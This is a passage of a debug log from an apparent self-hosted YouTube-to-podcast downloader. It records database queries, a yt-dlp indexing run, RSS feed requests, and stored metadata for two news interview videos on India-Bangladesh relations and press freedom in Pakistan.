"playlist_index" => 2, "timestamp" => 1767944211, "title" => "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "upload_date" => "20260109"} 21:40:35.261 [debug] QUERY OK source="sources" db=2.7ms queue=0.1ms idle=1391.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 21:40:35.265 [debug] QUERY OK source="sources" db=1.9ms queue=1.0ms idle=1395.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:40:35.268 [debug] QUERY OK source="media_items" db=1.5ms idle=1400.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 21:40:35.370 [debug] QUERY OK source="media_items" db=100.7ms queue=0.1ms idle=1144.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "ff6eafa4-3be8-4721-9f70-1fa582de9a5c", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 21:40:35Z], ~U[2026-01-10 21:40:35Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 21:40:35.408 [debug] QUERY OK source="sources" db=1.4ms queue=0.2ms idle=277.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:40:35.409 [debug] QUERY OK source="media_profiles" db=0.6ms idle=147.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:40:35.412 [debug] QUERY OK source="media_items" db=1.0ms idle=146.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [36] 21:40:35.412 [debug] Current batch of media processed. Will check again in 1000ms 21:40:35.583 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/b0/e2/b0e23a9ecf385049b13761501e56f7ef2a1470e0ebf9b42f3ec2c0079d63aa71.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:40:35.584 [debug] Gracefully stopping file follower 21:40:35.585 [debug] QUERY OK source="sources" db=0.7ms queue=0.4ms idle=316.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 21:40:35.586 [debug] QUERY OK source="sources" db=0.4ms idle=216.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:40:35.587 [debug] QUERY OK source="media_items" db=0.5ms idle=178.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 21:40:35.598 [debug] QUERY OK source="media_items" db=10.1ms idle=178.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "b1bc232e-9786-4ac0-b31a-b40d721dcc0c", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 21:40:35Z], ~U[2026-01-10 21:40:35Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 21:40:35.601 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=187.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:40:35.601 [debug] QUERY OK source="media_items" db=0.3ms idle=15.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 21:40:35.605 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=15.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "b07dd3cb-e6c4-404e-862a-8b36716a4d1a", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 21:40:35Z], ~U[2026-01-10 21:40:35Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 21:40:35.627 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=38.4ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 21:40:35Z], ~U[2026-01-10 21:40:35Z], 1] 21:40:35.629 [debug] QUERY OK source="media_items" db=1.6ms idle=29.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 21:40:35.648 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=46.4ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 21:40:35.650 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=47.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 21:40:35.654 [debug] QUERY OK source="tasks" db=1.5ms idle=23.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [98, 1, ~U[2026-01-10 21:40:35Z], ~U[2026-01-10 21:40:35Z]] 21:40:35.655 [info] {"args":{"id":1},"id":97,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":14616022,"event":"job:stop","queue_time":393357,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 21:41:00.119 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:41:00.784 [info] {"source":"oban","duration":1778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:30.571 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:41:30.571 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:41:30.589 [debug] QUERY OK source="sources" db=16.7ms queue=0.1ms idle=1304.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:41:30.608 [debug] QUERY OK source="media_items" db=1.3ms queue=0.4ms idle=736.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:41:30.612 [debug] QUERY OK source="source_metadata" db=2.9ms idle=740.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:41:30.636 [debug] QUERY OK source="media_metadata" db=22.7ms queue=0.1ms idle=743.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:41:30.774 [info] Sent 200 in 202ms 21:41:30.787 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:59.673 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 21:42:00.121 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:42:00.789 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:01.903 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:42:01.904 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:42:01.906 [debug] QUERY OK source="sources" db=1.4ms idle=555.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", 